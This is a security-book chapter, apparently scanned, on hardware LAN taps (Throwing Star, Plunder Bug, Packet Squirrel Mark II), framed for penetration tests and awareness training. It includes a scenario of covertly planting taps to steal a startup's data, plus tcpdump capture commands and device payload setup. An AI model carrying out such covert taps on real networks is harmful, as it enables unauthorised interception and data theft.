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Chapter 16
Tapping Wired LANs

Local area networks (LANs) are main connectors in our modern IT infrastruc-
ture. Interfaces to these networks are present everywhere, and in some
cases, they can be easily infiltrated by local attackers. With the appropriate
hardwatre, data traffic can be routed, captured, and analyzed.

A local area network (LAN) is a computer network that connects computer systems
within a limited area, for example, inside a building. Ethernet is now the most common
technology deployed for local networks and is therefore often synonymous. Wired net-
works have not lost their importance despite the spread of wireless alternatives. They
enable fast data transfers to and between servers, especially in the corporate environ-
ment. In addition to connecting computer systems, a large number of components are
equipped with LAN interfaces. Common devices include multifunction printers, net-
work cameras, production systems, home automation, and of course the network
devices themselves, such as switches and access points.

T ~
GREAT SCOTT GADGETS
«—> o

Throwing/Star LAN Tap Pro.
4

Figure 16.1 Various Hardware Devices to Attack LANs
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16 Tapping Wired LANs

Once an attacker is onsite and gains access to the network, establishing a connection
with other devices within the network is often quite easy since participants are often
still completely trusted within a local network. Many buildings have a large number of
freely accessible LAN sockets. Exposed devices, such as surveillance cameras or printers,
are particularly popular targets for attackers because they are usually located in less fre-
quented areas and are also easily accessible. Another example is the home automation
system, where, among other things, a network cable runs to the doorbell in the outdoor
area. Once the housing has been opened, an attacker can unplug the network connec-
tion and use this connection as an access point (see the example hardware in Figure
16.1).

16.1 Attack Scenario

Let’s say an attacker is tasked with stealing data from a startup company that deals with
biotechnology. The company is located in a city-owned building in a research park. It
shares a floor with several other startups. According to the city’s website, the rent also
includes the use of the infrastructure (i.e., the Wi-Fi network), and a printing system
with end processing options is also provided centrally. The area at the entrance is quite
spacious and designed for larger meetings. In addition, public lectures are held there as
well in cooperation with the nearby university.

The attacker attends a lecture and surveys the surroundings. Using the escape plan, she
recognizes that the rooms of the startup company are located directly behind the
restrooms. On the way to the restroom, she sees an access point that is somewhat hid-
den. Since the access point has its own power supply and USB ports, she can place hard-
ware there. She unplugs the network connection and plugs in a Packet Squirrel (Section
16.4). She then uses a short network cable to connect this device to the access point. The
hardware is supplied with power via a USB cable. The small device can easily be placed
behind the access point so that no one will notice, as shown in Figure 16.2. The attacker
has configured the Packet Squirrel in such a way that all communications are stored on
the small USB drive with a storage capacity of 1 TB.

At the event, the attacker also learns that an open house will soon be held for all inter-
ested parties. The university is also offering several events on the same day aimed at
high school students. Accordingly, a lot will be going on, and she’ll be able to move
around the building without attracting attention.

On open house day, the attacker first looks at a few other startup companies. Then,
during a short presentation by the target company in the entrance area, she removes
the Packet Squirrel and USB drive and then visits the company’s premises. As expected,
most of the employees attend the lecture and those who are still there are engrossed in
conversation. She then takes advantage of an inconspicuous moment and connects a
LAN Turtle to a computer and plugs the network cable from the computer into this
device (Section 16.6). This device is not particularly visible since a panel in front of the
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16 Tapping Wired LANs

desk prevents a direct view of the computer. Now the attacker has remote access to the
internal company network. She doesn’t need to worry about a firewall either because
the LAN Turtle has a cellular modem.

Figure 16.2 Packet Squirrel Hidden Behind the Access Point

Use in IT Security Penetration Tests and Security Awareness Training Courses

In a pentest, you can use LAN hardware to analyze what kind of information an attack-
er can obtain. Your focus is on devices with freely accessible interfaces. The following
scenarios are possible, for example:

m Scan of the entire network and identification

B [nterception of all network communication

m Secret infiltration of a network

Many of these tools are small and handy and only needs to be plugged in. They are thus

ideal for training courses since the participants themselves can use them. Possible
exercises include the following scenarios:

B Demonstrating LAN hardware
m Searching for hidden connected devices
B Having participants connect devices
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16.2 Throwing Star LAN Tap: Simply Tapping Data

The Throwing Star LAN Tap Pro (https://greatscottgadgets.com/throwingstar/) from
Great Scott Gadgets enables you to tap Ethernet connections. The device is a passive
Ethernet tap, which requires no power for operation and is placed between a network
connection. An existing cable must be unplugged and then plugged into the LAN Tap
Pro, which then is connected to the original point using another cable. As a result, it not
only transmits the signals but also establishes the connection via two additional ports.
These ports can only receive data, not transmit data. While attackers use this hardware
torecord all network traffic, in a pentest, you can use this device to show which connec-
tions are unencrypted. To record the data, a computer is required.

The plastic housing of the Throwing Star LAN Tap Pro is black, and a LAN connection is
located on each side, as shown in Figure 16.3.

Figure 16.3 Throwing Star LAN Tap Pro from Great Scott Gadgets

Its dimensions are 2 inches square with a height of approximately 1 inch. The ports
through which the network traffic passes are marked with arrows pointing in both
directions. The two ports with arrows that only point outwards are the ports that redi-
rect the data traffic. There is a sticker on the top with the name of the hardware and the
manufacturer.

This LAN tap was developed for 10 Mbit/s and 100 Mbit/s networks and therefore can-
not tap 1 Gbit/s networks, which are now even used by most home devices and have
been standard in company networks for years. However, the LAN Tap Pro has been
designed to deliberately degrade the quality of 1 Gbit/s networks, forcing them to select
alower speed; this slowdown is the purpose of the two capacitors (C1 and C2) inside the
housing.
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Who Is Slow on the Uptake Here?
If you use the LAN Tap Pro for your own tests, you should of course keep this delay in

mind. At the same time, this delay makes detecting the presence of such a device on
your network easier.

In addition to the Throwing Star LAN Tap Pro, a version is available without the “Pro”
suffix. This version is a kit in which the LAN interfaces and the capacitors require your
own soldering. Housing is not supplied with this variant, as shown in Figure 16.4.

Figure 16.4 Throwing Star LAN Tap as a Kit Without Housing

Since only four LAN sockets and two capacitors are required, various instructions are
also available for building your own LAN taps.

Alternative Hardware

A LAN tap, also referred to as a network tap or Ethernet tap, generally represents an ac-
cess option to a network connection for the purpose of analysis. A LAN tap is some-
times integrated into special routers. Some hardware devices, such as the SharkTap
from midBit Technologies or the ETAP-1000 from Dualcomm, can handle gigabit Ether-
net connections. With its ETAP-XG, as shown in Figure 16.5, Dualcomm also offers hard-
ware for analyzing 10 Gbit/s networks. SFP and SFP+ transceivers are supported, allow-
ing networks with copper or fiber optic cables to be examined. Note, however, that
these devices cannot work passively but instead require a power supply.
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Figure 16.5 LAN-Tap ETAP-XG from Dualcomm with 10 GBit/s Support

16.2.1 Usage

To tap a LAN network using the LAN Tap Pro, the hardware must be connected to an
existing network interface. Then, one side can be tapped via each of the two other ports.
For example, to intercept all packets from a communication partner, one of the two out-
puts must be connected with a network cable to a notebook running Kali Linux, as
shown in Figure 16.6.

f

—T4»>r OT——-

Figure 16.6 Connection Diagram for the LAN Tap Pro
The complete network communication is captured using the tcpdump tool. If not yet
installed, you can do so via the following call:

$ sudo apt install tcpdump

Next you must determine the name of the network interface you want to use by starting
tcpdump with the -D parameter. This parameter lists all available interfaces, as shown in
Figure 16.7.

$ sudo tcpdump -D

452



16 Tapping Wired LANs

] kali@kali: ~

File Actions Edit View Help

—(kali®% kali) - [~]

L-¢ sudo tcpdump -D

1.eth® [Up, Running, Connected]

2.any (Pseudo-device that captures on all interfaces) [Up, Running]
3.1lo [Up, Running, Loopback]

4.docker® [Up, Disconnected]

5.bluetooth-monitor (Bluetooth Linux Monitor) [Wireless]
6.

7.

8.

9.

nflog (Linux netfilter log (NFLOG) interface) [none]
nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
dbus-system (D-Bus system bus) [none]

dbus-session (D-Bus session bus) [none]

Figure 16.7 A List of Available Interfaces

In this case, the wired interface is the module named eth0, which will probably also be
the case for you.

Next you must activate the promisc mode of your network interface so that all network
packets will be redirected. Otherwise, packages that are not intended for the computer
would be automatically discarded. You can activate this mode via the following com-
mand:

$ sudo ip link set ethO promisc on

Then you can start tcpdump. By default, tcpdump performs a reverse Domain Name Ser-
vice (DNS) resolution of IP addresses and translates port numbers into names. Adding
the -noption deactivates the translation. The -i option is relevant when configuring the
network interface to be used. The recorded connections are displayed directly in the ter-
minal, as shown in Figure 16.8.

$ sudo tcpdump -n -i ethO

= kali@kali: ~

File Actions Edit View Help

—(kali®% kali) - [~]

L-¢ sudo tcpdump -n -i eth®

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode

listening on eth®, link-type EN1OMB (Ethernet), snapshot length 262144 bytes

08:54:05.960051 IP 10.0.2.15.45392 > 142.250.185.99.80: Flags [.], ack 12931509, win 63882, length 0

08:54:05.960099 IP 10.0.2.15.45256 > 142.250.185.99.80: Flags [.], ack 4805616, win 63882, length 0

08:54:05.960255 IP 142.250.185.99.80 > 10.0.2.15.45392: Flags [.], ack 1, win 65535, length 0

08:54:05.960262 IP 142.250.185.99.80 > 10.0.2.15.45256: Flags [.], ack 1, win 65535, length 0

08:54:06.215643 IP 10.0.2.15.45254 > 142.250.185.99.80: Flags [.], ack 4742315, win 63882, length 0
[

08:54:06.215881 IP 142.250.185.99.80 > 10.0.2.15.45254: Flags [.], ack 1, win 65535, length 0
08:54:06.728675 IP 10.0.2.15.39452 > 2.16.107.99.80: Flags [.], ack 14721780, win 64008, length 0
08:54:06.728687 IP 10.0.2.15.39450 > 2.16.107.99.80: Flags [.], ack 14593780, win 64008, length 0
08:54:06.728825 IP 2.16.107.99.80 > 10.0.2.15.39452: Flags [.], ack 1, win 65535, length 0
08:54:06.728833 IP 2.16.107.99.80 > 10.0.2.15.39450: Flags [.], ack 1, win 65535, length 0
08:54:06.986703 IP 10.0.2.15.58952 > 23.37.42.132.443: Flags [.], ack 15310916, win 62780, length 0
08:54:06.986903 IP 23.37.42.132.443 > 10.0.2.15.58952: Flags [.], ack 1, win 65535, length ©
08:54:07.309899 IP 10.0.2.15.46838 > 69.173.144.154.443: Flags [.], ack 15363444, win 63000, length
08:54:07.310112 IP 69.173.144.154.443 > 10.0.2.15.46838: Flags [.], ack 1, win 65535, length 0
08:54:07.311870 IP 10.0.2.15.36330 > 93.184.220.29.80: Flags [.], ack 11586398, win 63920, length 0

Figure 16.8 Output of the Captured Connections
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In addition, adding other parameters can restrict the types of transmission to be cap-
tured to simplify later analysis. For instance, you can capture only HTTP traffic (TCP port
80) and HTTPS traffic (TCP port 443) with the following command:

$ sudo tcpdump -n -i ethO '(tcp port 80) or (tcp port 443)'

Of course, the console output should not be used for a detailed evaluation. For this rea-
son, you'll want to use the -w parameter and a filename to save the intercepted network
communication in a file. Then you can terminate the interception via the [Ctr1]+(C]
shortcut.

$ sudo tcpdump -n -i ethO -s O -w output.dump

In this way, you can log the network traffic and can then analyze it, for example, using
tcpdump (sudo tcpdump -1 output.dump) or via the Wireshark application, which we
describe in more detail in Chapter 19, Section 19.3.

Throwing Star LAN Tap Pro: Conclusion

The LAN Tap Pro is a compact piece of hardware that can route and then analyze net-
work traffic. Since the device works completely passively, no power supply is required.
Two network adapters are required to tap both sides simultaneously.

In summary, the Throwing Star LAN Tap Pro has the following features:

®m Compact black plastic housing

B Four LAN interfaces, two of them for data analysis

® Downgrade from 1000 Mbit/s to 100 Mbit/s
(]

Protection against accidental dispatch of data

16.3 Plunder Bug: Exfiltrating Data with Style

Plunder Bug (https://shop.hak5.org/products/bug) from Hak5 is a pocket-sized LAN tap
device, as shown in Figure 16.9. This hardware can not only passively listen in, but also
act as an active network device. The Plunder Bug has two RJj45 LAN interfaces and a USB-
C port, via which it is supplied with power and which you can use to access it. A com-
puter or smartphone can be connected via the USB interface, and all network traffic can
belogged. Compared to the Throwing Star LAN Tap Pro, the Plunder Bug is more flexible
since it can operate in different modes. But this device also requires an additional com-
puter.

The Plunder Bug measures about 2.4 x 1.2 inches and is approximately 0.6 inches high.
RJ45 sockets are located on each of the two short sides, and the USB-C socket is located
on the long side, as shown in Figure 16.10. A recess for the status LED can be seen on the
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top. A sticker on the underside displays a barcode and the device’s Media Access Control
(MAC) address.

Figure 16.9 The Plunder Bug from Hak5

A10/100 Base-T Fast Ethernet switch is integrated, whereby the mirrored data traffic is
routed to the integrated USB Ethernet adapter (ASIX AX88772C chipset). The entire
device is operated via USB-C with a low power consumption of 200 to 300 mAh. Similar
to the Throwing Star LAN Tap Pro, the Plunder Bug is not compatible with gigabit net-
works. In this case, too, the speed will be artificially reduced to 100 Mbit/s.

Status LED

N

RJ45 Network Socket —H 0 H— RJ45 Network Socket

=

USB-C Port

Figure 16.10 Structure of the Plunder Bug

16.3.1 Setup

By default, the USB-C port of the Plunder Bug works as an active device. The device is
therefore theoretically a small switch with a USB LAN adapter. As a result, not only can
it receive data traffic between the two RJ45 Ethernet ports, but it can also act as an addi-
tional device in the network. This feature is helpful for simultaneous active network
scans (e.g., using Nmap). However, this feature also makes the device detectable. Hak5
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provides scripts for various operating systems so that you can switch between passive
mode and the default active mode.

To change the mode on a Kali Linux system, you must connect the Plunder Bug to the
computer via a USB-C cable. The computer will recognize the device as an additional
USB network adapter and as automatically set up by current operating systems. If not,
you should download the driver for the ASIX AX88772C chip from the manufacturer’s
website:

https.//www.asix.com.tw/en/support/download

To switch the mode, you must download the PlunderBug.sh file from the Hak5 down-
load page (https://downloads.hak5.org/bug), which is located on the right in the Archi-
tecture column next to Linux. Then open the terminal and open the folder to which you
downloaded the file. Adjust the access rights so that the file is executable with the fol-
lowing command:

chmod +x ./plunderbug.sh

Then run the file with root rights and the --mute parameter in the following way:

sudo ./plunderbug.sh --mute

To confirm this command, the Mute complete message is displayed, as shown in Figure
16.11.

kali@kali: ~/Downloads

File Actions Edit View Help

—(kali® kali) - [~/Downloads]
L-$ chmod +x ./plunderbug.sh

—(kali® kali) - [~/Downloads]
L-$ sudo ./plunderbug.sh --mute

/  Plunder Bug by Hak5
o

Waiting for a plunder bug to be connected....................
[ethl] Plunder Bug connected

[*] Muting plunder bug interface...
[+] Adding iptables rule...Success
[+] Adding ip6tables rule...Success
[*] Mute complete

Exited

Figure 16.11 Activating the Mute Feature
You can specify the mode through parameters, and the parameter --mute activates the

passive mode. To select the active mode instead, you must use the --unmute parameter.
The mode is implemented via the configuration of the firewall rules.
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16.3.2 Usage

To perform an analysis, you must unplug the existing network cable, for example, from
a printer, and attach the cable to one side of the Plunder Bug. Which side you use does
not matter. On the opposite side, you must plug in a new LAN cable and connect it to
the printer. The Plunder Bug can be connected to a Kali Linux computer via the USB-C
interface. Then you can intercept the data via the new LAN adapter as described for the
Throwing Star LAN Tap Pro device in Section 16.2.1.

In our example, the Plunder Bug has eth1 as the interface name since an Ethernet inter-
face named eth0 already existed. To check whether the Plunder Bug can intercept the
network traffic, use the following command:

$ sudo tcpdump -1 ethl -q

Figure 16.12 shows a whole range of intercepted network activities.

kali@ kali: ~

File Actions Edit View Help

—(kali®% kali) - [~]
L-¢ sudo tcpdump -i ethl -q
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ethl, link-type EN1OMB (Ethernet), snapshot length 262144 bytes
09:56:49.969712 IP 117.18.237.29.http > 192.168.0.100.1152: tcp 0
09:56:49.970190 IP 192.168.0.100.1152 > 117.18.237.29.http: tcp O
09:56:49.982404 IP 117.18.237.29.http > 192.168.0.100.1151: tcp O
09:56:49.982764 IP 192.168.0.100.1151 > 117.18.237.29.http: tcp O
09:56:50.737853 IP p5d3780bc.dip0.t-ipconnect.de.https > 192.168.0.100.1157: tcp 46
09:56:50.737902 IP p5d3780bc.dip0®.t-ipconnect.de.https > 192.168.0.100.1157: tcp 24
09:56:50.737903 IP p5d3780bc.dip@.t-ipconnect.de.https > 192.168.0.100.1157: tcp 0
09:56:50.738892 IP 192.168.0.100.1157 > p5d3780bc.dip®.t-ipconnect.de.https: tcp 0
09:56:50.738972 IP 192.168.0.100.1157 > p5d37806bc.dip0.t-ipconnect.de.https: tcp 39
09:56:50.739444 IP 192.168.0.100.1157 > p5d3780bc.dip®.t-ipconnect.de.https: tcp 24
t
>
>
>

09:56:50.739504 IP 192.168.0.100.1157 > p5d3780bc.dip@.t-ipconnect.de.https: tcp O
09:56:50.745162 IP p5d3780bc.dip0.t-ipconnect.de.https 192.168.0.100.1157: tcp ©
09:56:50.745218 IP p5d3780bc.dip0.t-ipconnect.de.https 192.168.0.100.1157: tcp ©
09:56:50.745219 IP p5d3780bc.dip0.t-ipconnect.de.https 192.168.0.100.1157: tcp ©

Figure 16.12 Network Traffic Intercepted by the Plunder Bug

Using a Smartphone or Tablet

Alternatively, you can capture data traffic using a smartphone or tablet. For this
approach, you'll need a smartphone with Android on which root access is activated.
Then install the official Plunder Bug—Smart LAN Tap app from Hak5, which is no longer
available in Google Play Store:

https://apkpure.com/plunder-bug-smart-lan-tap/org.hak5.android.plunderbug

The app checks whether the Plunder Bug has been connected. As soon as the device is
connected, the Ready to start capturing packets message will be displayed, as shown in
Figure 16.13. Press the round button below the message to start capturing packets. You'll
then see information on the duration of the process and how many packets were cap-
tured. Pressing the button on the left cancels the interception, while the button on the
right finishes the capture and saves the file. The recording is stored as a .pcap file and
can be analyzed later using Wireshark, for example.
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@ Plunder Bug H @ Plunder Bug H @ Plunder Bug

CAPTURE CAPTURE CAPTURE

1551250883.pcap

Connect the Plunder Bug to Ready to start capturing

h 35 packet
start capturing packets packets packets

J\U\/L/\/L

Figure 16.13 The Plunder Bug: A Smart LAN Tap App from Hak5

Plunder Bug: Conclusion

Compared to the Throwing Star LAN Tap Pro, the Plunder Bug has one clear disadvan-
tage in that it requires a power supply. However, Hak5 has solved this problem in a
smart way by implementing the power supply and the USB network adapter simulta-
neously via the same interface. As a result, only one cable is required, and the LAN in-
terface isn't used. Many new compact notebooks usually no longer have a LAN inter-
face, which results in greater flexibility.

In summary, the Plunder Bug has the following properties:

®m Compact dimensions, black housing with two RJ45 sockets
m Power supply and network adapter via the USB-C interface
B You can switch between active and passive mode
[

Can be used with a computer or smartphone

16.4 Packet Squirrel Mark Il: Capturing Network Traffic

Also from Haks, the Packet Squirrel (https://shop.hak5.org/products/packet-squirrel-
mark-ii) is a discreet, compact man-in-the-middle adapter that must be inserted into an
existing network connection. The special feature of the Packet Squirrel is that it does
not require a computer: The device can work completely autonomously. This Ethernet
multi-tool was developed to enable covert remote access, automatic packet capturing,
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and virtual private network (VPN) connections. The revised version of the Packet Squir-
rel—the Mark II—was released in 2023. On the outside, its only apparent difference
from the classic Packet Squirrel (see Chapter 18, Section 18.3.1) in that the Packet Squirrel
Mark II has a USB-C connector instead of a Micro-USB connector. With regards to the
software, however, it has many new features.

In addition to traditional access via Secure Shell (SSH), a web interface is now also avail-
able for control purposes. New network modes have been added for more flexibility,
and Wireguard is now supported as a VPN. In addition, the exFAT file system is now sup-
ported, and payloads can be written using extended DuckyScript, Bash, or (a new fea-
ture) Python 3. At the same time, the scope of DuckyScript commands has been signifi-
cantly expanded, so that simple commands are now available for functions that
previously had to be written out by the user.

A handy size, the Packet Squirrel is equipped with an RJ45 network socket on two sides,
as shown in Figure 16.14 and Figure 16.15.

Figure 16.14 The Packet Squirrel Mark Il from Hak5

Button  RGB Status LED

=1

RJ45 Network Port H 0 ﬂ RJ45 Network Port
Input (Target) Output (Network)

Micro USB Port ——] ﬂ_ USB-A Port
5V, 120mA Storage (NTFS/EXT4)
—
Payload 1 JJ L Arming Mode
Payload 2
Payload 3

Figure 16.15 Connections and Switches of the Packet Squirrel
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In addition to the network socket, there is a USB-C socket on one side for the power sup-
ply and a USB-A socket on the opposite side for connecting a USB drive. On one of the
rounded sides a slide switch can be set at four positions to select the type of attack.
Opposite, a small button can be assigned various functions, and an RGB status LED is on
the top. A sticker with the name of the product is attached to the underside. This com-
pact hardware device measures approximately 1.5 x 2.0 x 0.6 inches.

Packet Squirrel with PoE Support

Power over Ethernet (PoE) is a method of supplying network devices with power
through a network connection. This approach is common, for example, with access
points or surveillance cameras and has the advantage that only one network cable is
required, but no extra power supply is needed.

Hobbyist Josh Campden (ThingEngineer) has published an online tutorial on retrofit-
ting the Packet Squirrel with PoE capability. However, building it requires some DIY
skills and soldering experience. The hardware device can then be deployed in a PoE net-
work without a power supply unit. You can find the instructions at:

https://www.instructables.com/Hak5-Packet-Squirrel-POE-Upgrade-Mod/

Inside, the Packet Squirrel Mark Il runs on a single-core MediaTek MT7628 AN CPU. With
64 MB RAM, its operating system is OpenWRT version 22.03. The Packet Squirrel
requires a power supply via the USB-C port to operate. For this purpose, you can either
use a USB power supply or a power bank. After connecting the power supply, the boot
process will complete in approximately 40 seconds, and the Packet Squirrel is ready for
operation.

Five network modes are supported, which we’ll describe briefly:

1. TRANSPARENT
In this mode, the Packet Squirrel is invisible in the connected network. In this way,
you can carry out passive attacks (i.e., read all transmissions) but not communicate
via the network yourself. You can use this mode to capture transmissions without
being noticed.

2. BRIDGE
In this mode, the Packet Squirrel behaves like another participant in the connected
network. This mode enables active access to the network and, if available, access to
the internet. You can use this mode to scan the network or establish a connection to
the Cloud C? server. However, this option is conspicuous since the additional device
would be detected during network monitoring.

3. NAT
In this mode, the Packet Squirrel behaves like a router with network address transla-
tion (NAT). In other words, all devices are invisible to other participants. The Packet
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Squirrel receives an IP address from the router of the target network, and the target
device receives an IP address from the Packet Squirrel. Select this mode to avoid
needing to add an additional device to the network and/or to manipulate the target’s
requests. However, if the target device uses a fixed network configuration, that
device can no longer establish a connection.

4. JAIL
In this mode, the devices on the target port are disconnected from the network. The
Packet Squirrel remains online.

5. ISOLATE
The last mode disconnects all network connections and sets the Packet Squirrel
offline as well.

Note

DuckyScript commands distinguish between uppercase and lowercase (i.e., they are
case sensitive). You should therefore take care to also write the network modes in up-
percase letters in the payload.

16.4.1 Setup

First, connect your computer to the Packet Squirrel by connecting one end of an Ether-
net cable to your computer’s Ethernet port (or a USB Ethernet adapter) and the other
end to the Packet Squirrel’s “Input/Target” Ethernet port next to the USB-C power port.
Then supply the Packet Squirrel with power by connecting it to a USB-C power source.

First Start

When the Packet Squirrel is started for the first time, it needs some time to initialize its
integrated memory and generate the SSH host key. While the Packet Squirrel is booting
and initializing, the LED flashes green. As soon as the device has booted, the LED flash-
es magenta (or pink), and the device is ready for configuration. All further start process-
es after the first initialization are then significantly faster.

Now move the slide switch on the Packet Squirrel all the way to the right to activate
Arming mode. Then call the URL 72.16.32.1:1471 in the web browser. You'll see the first
step of the setup wizard, as shown in Figure 16.16. Click the Begin Setup button to start
the setup process. Read the instructions on the power supply, the slide switch, the but-
ton, the network interfaces, and the USB-A port and then click Continue.

461



16 Tapping Wired LANs

Payload Switch

Welcome

Target Port Network Port USB Storage

Figure 16.16 First Steps of the Setup Process

On the next page, as shown in Figure 16.17, you must assign a password, which you'll
need later to access the Packet Squirrel. If you forget your password, you must reset the
device to its factory settings. For more information, refer to https://docs.hak5.org/
packet-squirrel-mark-ii/troubleshooting/factory-reset.

Then select the appropriate time zone. You can then choose whether you prefer the
light theme or dark theme. Accept the general terms and conditions and the license
conditions.

General Setup Look and Feel Terms of Service & License Agreement

Figure 16.17 Configuration During Setup

Immediately afterwards, you'll see a success message and then will be redirected to the
login. Log in with username root and the password you have chosen (see Figure 16.18).
You'll then see the Packet Squirrel dashboard.
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Packet Squirrel

Figure 16.18 Packet Squirrel Web Interface: Logging In

Updating the Firmware

Updating the firmware has been significantly simplified in Packet Squirrel Mark II.
Open the Settings and click the Check for Updates Online button in the Software Update
section. This step will start an automatic check. If a new version is available, a message
appears, and the process starts.

16.4.2 Usage

The operation of Packet Squirrel Mark II has been greatly simplified compared to the
previous version since all important features are available via the web interface.

Web Interface

To continue using the Packet Squirrel, you must connect it to the internet. For this task,
connect a network cable to the Output (network) socket next to the USB-A port and then
toanetwork with internet access. Use a second network cable to connect your own com-
puter to the Input (victim) network socket. The slide switch remains in the Arming mode
position.

Dashboard
Then refresh page 72.16.32.1:1471 in the web browser to call the dashboard again. As
shown in Figure 16.19, some system information is displayed in the top line.
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Packet Squirrel

C @

Packet Squirrel

Mark Il » Version 4.0.0

System Status Disk Free Ethernet Clients Network Mode
dhd
'" 9.4%  40% 432MB - 2 NAT
B CcPU MEM ROOT usB CLIENTS
Payloads Packet Squirrel
1 Gatekeeper Toggle access to the network with the pushbutton
2 Printer Capture  capture PCLIP printer jobs with a dynamic proxy %{I I}m A Action button
3 DNS Sinkhole Demonstrate sinkholing a DNS domain (haks.org) B Payload switch
1 Target
- Configuration 2 Network
3 USB power
I current Mode Dl switch position Omirn @ U storage
L3
>

Figure 16.19 Packet Squirrel Web Interface: Dashboard

Start with the System Status, which shows the CPU and memory utilization. Disk Free
also shows how much storage space is still available. Continue with Ethernet Clients,
where the number of connected clients is displayed, and finally, you'll see the currently
set network mode under Network Mode. The current position of the slide switch is high-
lighted under Payloads.

I find this feature rather interesting since it combines a physical control element with
aweb interface. If you move the slide switch one position to the left (to position 3), you'll
see the setting also change in the web interface. However, the payload does not become
active until after a restart. The description of the payload is displayed behind the indi-
vidual positions of the switch. On the right side of the Packet Squirrel area, the diagram
represents your system, with the connected elements highlighted in green.

To unlock the full potential of the Packet Squirrel, you must connect a USB drive that is
formatted with one of the following file systems: Ext4, exFAT, FAT32, or NTFS. As soon
as the drive is connected, the number 4 in the diagram will turn green as well, and the
free memory space is displayed, as shown in Figure 16.20.

Payloads

Next select the Payloads item from the menu on the left. The contents are divided into
four tabs. The first tab (Payloads) contains general information. The three other tabs
represent the payloads stored in each of the three positions of the slide switch, as shown
in Figure 16.21. You can make changes directly or upload new payloads by clicking the
Upload button.
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Packet Squirrel x| +

C @ O @ 17216321

Packet Squirrel

Mark Il » Version 4.0.0

System Status Disk Free Ethernet Clients
(11
m 9.9% 41% 432MB  14.32GB 2
E CPU MEM ROOT usB CLIENTS
Payloads Packet Squirrel
1 Gatekeeper Toggle access to the network with the pushbutton
2 Printer Capture  cCapture PCL P printer jobs with a dynamic proxy w
3 DNS Sinkhole Demonstrate sinkholing a DNS domain (haks.org)
- Configuration
I current Mode [ switch position ea
S
>

Network Mode

NAT

w A Action button

B Payload switch
1 Target

2 Network

3 USB power

4 USB storage

Figure 16.20 Packet Squirrel Web Interface: Connected USB Drive

& Packet Squirrel

«
@ Packet Squirrel

Mark Il » Version 4.0.0

Payloads Switch 1 Switch 2 Switch
(7] —_—
ey
#!/bin/bash
B .
# Title: Gatekeeper
#
# Description: Toggle access to the network with the pushbutton
# Set the default network mode (such as NAT or BRIDGE)
NETWORK_MODE="BRIDGE"
NETMODE ${NETWORK_MODE}
LED G SOLID
while true; do
# Run the buttom command with no LED; this way the LED stays
# solid green
NO_LED=1 BUTTON
# Check the existing network mode; if we're not the right mode,
# send the target device to jail
if [ $(cat /tmp/squirrel netmode) == "${NETWORK MODE}" ]; then
LED R FAST
NETMODE JAIL
LED R SOLID
else
# Set the network mode back to our normal mode
Download Upload
£
>

Figure 16.21 Packet Squirrel Web Interface: Payloads
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Logging
Alist of messages is displayed in the next menu item, Logging. This feature allows you
to track your Packet Squirrel’s activities and rectify any errors that may arise.

Settings

In the menu at the bottom left are the Settings with the cogwheel symbol, as shown in
Figure 16.22. In the first tab, General, you can change the password, the time zone and
the host name. A firmware update can also be performed there, and the connection to
a Cloud C? server (see Chapter 20, Section 20.6) can be established. The Networking tab
provides an overview of the network configuration.

Packet Squirrel

C @

Packet Squirrel

Mark Il » Version 4.0.0

L General a5 Networking @ Hep

B User Management & Timezone Hostname

The host name of the device can be changed; this will reflect the host name shown in the SSH
Current Password terminal, as well as the host name sent in any DHCP requests when connected to a LAN in client-
mode

squirrel
New Password squirrel

Repeat New Password

Update Password

Timezone

(GMT+1) Brussels, Copenhagen, Madrid, Paris v

Update Timezone Sync Browser Time

Software Update Web Interface Cloud C2
i heme
You are currently on version 4.0.0. :iigrhtw . Select File

— No Cloud C2 configuration file selected
* | Check for Updates Online

>

Figure 16.22 Packet Squirrel Web Interface: Settings

Terminal

Basically, you can also connect to the Packet Squirrel via SSH. In this case, use the IP
address 172.16.32.1, port 22, and sign in with the username “root” and the password you
assigned earlier. However, in the web interface, you can also access a terminal, as shown
in Figure 16.23, by clicking the terminal icon in the top-right corner.
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Packet Squirrel X+

C @ O & 17236321

G Packet Squirrel
Mark Il » Version 4.0.0

System Status Disk Free Ethernet Clients Network Mode
11}
'" 3.3% 43% 432MB 14.32GB 2 NAT
B CpPU MEM ROOT UsB CLIENTS
Payloads Packet Squirrel
1 Gatekeeper Toggle access to the network with the pushbutton *
e Web Shell v X

|7 Clhl _
RN U V) VO W W |
Hak5 Packet Squirrel Mark II

root@squirrel:~# ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid_1ft forever preferred 1ft forever
2: sw@: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc fq codel state UP group default glen 1000
link/ether 00:13:37:a9:fc:5b brd ff:ff:ff:ff:ff:ff
inet6 fe80::213:37ff:fea9:fc5b/64 scope link
valid_1ft forever preferred 1ft forever

Figure 16.23 Packet Squirrel Web Interface: Terminal

Payloads

The best introduction to the world of Packet Squirrel are the preinstalled payloads. In
addition to the basics, we'll discuss these payloads and other useful variants in this sec-
tion.

Switch 1: Gatekeeper Payload

The new options provided by the Packet Squirrel Mark II can be illustrated quite clearly
with the first preinstalled payload. In this case, NETMODE JAIL can implement an isolation
(i.e., deactivation of the network). At the same time, the status can be changed using the
button, as indicated more clearly in the comments I added to the original code (see Lis-
ting 16.1).

#!/bin/bash
# Title: Gatekeeper

#
# Description: Toggle access to the network with the pushbutton

467



16 Tapping Wired LANs

# Th
# so

e network mode is saved in a variable here
that it is still available when switching with the button.

NETWORK_MODE="BRIDGE"

# Co

nfiguration of the network mode with variable

NETMODE ${NETWORK_MODE }

# LE
LED

# En
whil

done

D permanently lights up green
G SOLID

dless loop for reading the button status

e true; do

# Here the code is paused until the button gets pressed.

# By default, the button also changes the color of the LED.
# If this is not desired, the option NO_LED=1 must be set.
NO_LED=1 BUTTON

# The network mode is always saved in file
# /tmp/squirrel_netmode. The query checks
# whether the current mode matches the configured mode.
# If yes, the jail mode will be activated.
if [ $(cat /tmp/squirrel_netmode) == "${NETWORK_MODE}" ]; then
# LED flashes quickly red (100ms on and 100ms off)
LED R FAST
# Change the network mode to JAIL
NETMODE JAIL
# LED lights up red continuously
LED R SOLID
# If this does not match
# The network mode is configured from the variable.
else
# LED flashes quickly green (100ms on and 100ms off)
LED G FAST
# Change the network mode
NETMODE ${NETWORK_MODE }
